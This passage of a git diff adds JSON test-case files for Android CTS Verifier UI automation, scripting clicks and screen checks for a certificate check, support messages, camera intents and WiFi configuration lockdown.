+{"uuid":"325e2c82-fd6d-4027-8dd7-1d331c3d5345","details":"{\"type\":\"CompoundAction\",\"name\":\"If myCert is installed, press back key\",\"actionId\":\"325e2c82-fd6d-4027-8dd7-1d331c3d5345\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"If myCert is installed, press back key\",\"actionId\":\"2f0bf0ea-833f-4291-99d3-bc6f24633305\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Internet Widgits Pty Ltd\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"af641572-14fb-49d1-a5c0-7e7cbc90de73\",\"displayText\":\"Internet Widgits Pty Ltd\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"965ba747-6c53-484b-8c1d-9d381b6aa1ed\",\"displayText\":\"Internet Widgits Pty Ltd\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"79def8f0-de2e-411c-a5ea-4022b9c02d1d\",\"displayText\":\"Internet Widgits Pty Ltd\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/trusted_credential_subject_primary\",\"text\":\"Internet Widgits Pty Ltd\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":135.75,\"x2\":180.25,\"y2\":157.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-8.375,\"y\":-0.125,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Internet Widgits Pty Ltd\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":122.5,\"x2\":290.5,\"y2\":186.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Internet Widgits Pty Ltd\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":122.5,\"x2\":360.0,\"y2\":186.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":105.5,\"y\":146.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":74.5,\"y\":8.125,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"79def8f0-de2e-411c-a5ea-4022b9c02d1d\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Internet Widgits Pty Ltd\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":9.0,\"y1\":124.0,\"x2\":202.0,\"y2\":169.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"3173fdce-de2d-47df-b28b-0030d53dae5d\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"2f0bf0ea-833f-4291-99d3-bc6f24633305\",\"3173fdce-de2d-47df-b28b-0030d53dae5d\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"If myCert is installed, press back key","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.233000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/336938a2-a45e-4245-a4a7-2f8704bc265d b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/336938a2-a45e-4245-a4a7-2f8704bc265d
new file mode 100644
index 0000000..8ffd6d3
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/336938a2-a45e-4245-a4a7-2f8704bc265d
@@ -0,0 +1 @@
+{"uuid":"336938a2-a45e-4245-a4a7-2f8704bc265d","details":"{\"type\":\"CompoundAction\",\"name\":\"Set short support message\",\"actionId\":\"336938a2-a45e-4245-a4a7-2f8704bc265d\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, set short support message button\",\"actionId\":\"c62bb98b-dc83-4ed1-bfdb-4eceae43644f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/short_msg_button\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, set_default_message button\",\"actionId\":\"8093e310-9341-4c3b-a67d-055d6f6a8e7a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/set_default_message\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, set_message button\",\"actionId\":\"168df43c-a465-449a-9915-d5a4cdcc6c80\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/set_message\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"d5ead5b3-c321-4260-90c4-155b47f7dd3f\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"c62bb98b-dc83-4ed1-bfdb-4eceae43644f\",\"8093e310-9341-4c3b-a67d-055d6f6a8e7a\",\"168df43c-a465-449a-9915-d5a4cdcc6c80\",\"d5ead5b3-c321-4260-90c4-155b47f7dd3f\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Set short support message","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.116000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/339f5cb7-0ae4-4405-bd6b-ebf91aa53125 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/339f5cb7-0ae4-4405-bd6b-ebf91aa53125
new file mode 100644
index 0000000..b71afdc
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/339f5cb7-0ae4-4405-bd6b-ebf91aa53125
@@ -0,0 +1 @@
+{"uuid":"339f5cb7-0ae4-4405-bd6b-ebf91aa53125","details":"{\"type\":\"CompoundAction\",\"name\":\"Camera Intents-Test 1\",\"actionId\":\"339f5cb7-0ae4-4405-bd6b-ebf91aa53125\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"InputAction\",\"name\":\"Home Button\",\"actionId\":\"0e6dbc6d-1df3-4e42-b39f-76db27d04312\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":3,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ConditionClickAction\",\"name\":\"ConditionClickAction\",\"actionId\":\"e3f7ed40-f8b9-480d-b8a8-33e3c36df645\",\"actionType\":\"CONDITION_CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"com.android.permissioncontroller:id/permission_allow_foreground_only_button\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"6592a0d0-adde-4874-9274-eac7f05aa0a5\",\"displayText\":\"Take photo\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"b8d19a57-e5b7-4512-b034-2bba27a556ef\",\"displayText\":\"Take photo\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageButton\",\"resourceId\":\"com.google.android.GoogleCamera:id/shutter_button\",\"contentDesc\":\"Take photo\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":133.0,\"y1\":587.0,\"x2\":226.66666666666666,\"y2\":680.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":1.8333333333333144,\"y\":17.833333333333258,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Take photo\"}],\"className\":\"android.widget.FrameLayout\",\"resourceId\":\"com.google.android.GoogleCamera:id/center_placeholder\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":133.0,\"y1\":587.0,\"x2\":226.66666666666666,\"y2\":680.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":178.0,\"y\":616.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":1.8333333333333144,\"y\":17.833333333333258,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"b8d19a57-e5b7-4512-b034-2bba27a556ef\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"com.android.permissioncontroller:id/permission_allow_foreground_only_button\",\"selectedType\":\"RESOURCE_ID\",\"selectedBound\":{\"x1\":159.0,\"y1\":591.0,\"x2\":197.0,\"y2\":641.0}}],\"childrenIdList\":[\"740de7a4-51a7-411c-bf5f-424945116764\",\"0e6dbc6d-1df3-4e42-b39f-76db27d04312\",\"b40e7a89-24b7-4cf7-8942-4733b0536edc\",\"e3f7ed40-f8b9-480d-b8a8-33e3c36df645\",\"b1c2250d-2c83-4698-8e4f-e80b296153d9\",\"d725d8a2-cb38-4a29-9857-a510943cf7fd\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_camera=Camera,\\n$uicd_camera_take_photo=com.google.android.GoogleCamera:id/shutter_button,\\n$uicd_camera_video_mode=Video,\\n$uicd_camera_video_record=com.google.android.GoogleCamera:id/shutter_button,\\n$uicd_camera_video_stop=com.google.android.GoogleCamera:id/shutter_button,\\n$uicd_camera_done=Done,\"}}","name":"Camera Intents-Test 1","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.009000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/33e57fb2-284d-43aa-9763-d9c0cd8d1d95 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/33e57fb2-284d-43aa-9763-d9c0cd8d1d95
new file mode 100644
index 0000000..7681b2e
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/33e57fb2-284d-43aa-9763-d9c0cd8d1d95
@@ -0,0 +1 @@
+{"uuid":"33e57fb2-284d-43aa-9763-d9c0cd8d1d95","details":"{\"type\":\"CompoundAction\",\"name\":\"03-WiFi configuration lockdown\",\"actionId\":\"33e57fb2-284d-43aa-9763-d9c0cd8d1d95\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to WiFi configuration lockdown\",\"actionId\":\"46f93377-24d4-47ae-b00a-ceac3ec5acda\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"WiFi configuration lockdown\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"7ea2a38f-ebbd-400c-ac86-1db965b65561\",\"displayText\":\"WiFi configuration lockdown\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"WiFi configuration lockdown\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":424.75,\"x2\":351.25,\"y2\":466.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":103.5,\"y\":442.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":76.5,\"y\":3.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"7ea2a38f-ebbd-400c-ac86-1db965b65561\",\"firstText\":\"WiFi configuration lockdown\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"WiFi configuration lockdown\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":9.0,\"y1\":428.0,\"x2\":198.0,\"y2\":456.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, WiFi configuration lockdown\",\"actionId\":\"bc7170f1-a36d-420f-8e4e-667df4e2ccf4\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"WiFi configuration lockdown\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/device_owner_wifi_ssid\",\"actionId\":\"100e76f6-4340-447d-9f0c-899a46aaca8c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/device_owner_wifi_ssid\"},{\"type\":\"InputAction\",\"name\":\"INPUT SSID name\",\"actionId\":\"090470de-d919-467e-920e-5db45b49813f\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":0,\"inputString\":\"$uicd_device_owner_WiFi_configuration_SSID\",\"isSingleChar\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/device_owner_keymgmnt_none\",\"actionId\":\"3bbb402a-0a6c-4fff-903e-5dbf27b4f178\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/device_owner_keymgmnt_none\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/create_wifi_config_button\",\"actionId\":\"b84f14bf-8d9a-47d0-9b78-4c1d5599ac74\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/create_wifi_config_button\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 5 secs SSID connected\",\"actionId\":\"efc49e75-1750-49e9-b094-6ae490b3c244\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":5000,\"createdBy\":\"riacheltseng\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"de0b8776-5656-4400-ae60-b91ed194561a\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Test 1 -Unlocked config is modifiable in Settings\",\"actionId\":\"16299c5d-e8d0-49a4-8d70-0e154cde07a8\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Unlocked config is modifiable in Settings\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if WiFi SSID connected\",\"actionId\":\"a3512cab-b0b7-48aa-b7d7-cd437b36dbc7\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"$uicd_device_owner_WiFi_configuration_SSID\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"7dfa7b8b-f837-4b43-a184-04c9f8d4f8e7\",\"displayText\":\"wifitest\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"67eba84c-bbec-4e75-8889-169ea496ceec\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.settings:id/entity_header_icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":158.75,\"y1\":94.5,\"x2\":200.75,\"y2\":136.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"},{\"uuid\":\"45fc6a99-2522-4204-b1fa-19140444f678\",\"displayText\":\"wifitest\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/entity_header_title\",\"text\":\"wifitest\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":149.25,\"y1\":143.5,\"x2\":210.5,\"y2\":166.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-1.625,\"y\":2.125,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"wifitest\"},{\"uuid\":\"b7a556b8-7141-428d-8627-6624f79e57bb\",\"displayText\":\"Connected\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/entity_header_summary\",\"text\":\"Connected\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":150.25,\"y1\":168.5,\"x2\":209.25,\"y2\":185.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Connected\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/entity_header_content\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":149.25,\"y1\":94.5,\"x2\":210.5,\"y2\":185.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":181.5,\"y\":153.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-1.625,\"y\":-13.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"45fc6a99-2522-4204-b1fa-19140444f678\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"$uicd_device_owner_WiFi_configuration_SSID\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":143.0,\"y1\":143.0,\"x2\":220.0,\"y2\":163.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify Forget button exists\",\"actionId\":\"97947f55-afea-4be5-9832-25df9fd2db23\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Forget\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"0cfe2a3f-67eb-4950-b31b-e45a62ace646\",\"displayText\":\"Forget\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"d645e5b6-60d0-4567-9aae-853c2f199370\",\"displayText\":\"Forget\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.settings:id/button1\",\"text\":\"Forget\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":7.0,\"y1\":199.0,\"x2\":117.5,\"y2\":275.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.25,\"y\":-14.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Forget\"},{\"uuid\":\"c0ae6dd5-e5de-4a63-8b67-bffb7f7097a8\",\"displayText\":\"Disconnect\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.settings:id/button3\",\"text\":\"Disconnect\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":124.5,\"y1\":199.0,\"x2\":235.25,\"y2\":275.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Disconnect\"},{\"uuid\":\"1d2fde93-3007-4cbe-85d9-8339ea33bfdd\",\"displayText\":\"Share\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.settings:id/button4\",\"text\":\"Share\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":242.25,\"y1\":199.0,\"x2\":353.0,\"y2\":275.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Share\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":199.0,\"x2\":360.0,\"y2\":275.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":62.0,\"y\":251.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":118.0,\"y\":-14.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"d645e5b6-60d0-4567-9aae-853c2f199370\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Forget\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":34.0,\"y1\":237.0,\"x2\":90.0,\"y2\":265.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"7a670104-0393-4834-80aa-f5c9e696ec16\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"ab040aac-2f31-4050-bd3b-8be4ebf0629d\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Test 2-Locked config is not modifiable in Settings\",\"actionId\":\"41755859-7c5f-43d0-bf27-bcd41b2103f6\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Locked config is not modifiable in Settings\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if correct WiFi SSID\",\"actionId\":\"e537f105-fd84-415b-a13c-fdb82f63420c\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"$uicd_device_owner_WiFi_configuration_SSID\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"de7c2d35-70c8-43cb-a039-f3d6722a21e1\",\"displayText\":\"wifitest\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"2d537572-7b56-464d-9347-d38a1f16cc54\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.settings:id/entity_header_icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":158.75,\"y1\":94.5,\"x2\":200.75,\"y2\":136.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"},{\"uuid\":\"c7dac0d3-e7de-4072-826c-4c0c0a26c0de\",\"displayText\":\"wifitest\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/entity_header_title\",\"text\":\"wifitest\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":149.25,\"y1\":143.5,\"x2\":210.5,\"y2\":166.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-21.625,\"y\":0.625,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"wifitest\"},{\"uuid\":\"cb80b720-7b53-438e-ab03-e8ec210c6a66\",\"displayText\":\"Connected\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/entity_header_summary\",\"text\":\"Connected\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":150.25,\"y1\":168.5,\"x2\":209.25,\"y2\":185.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\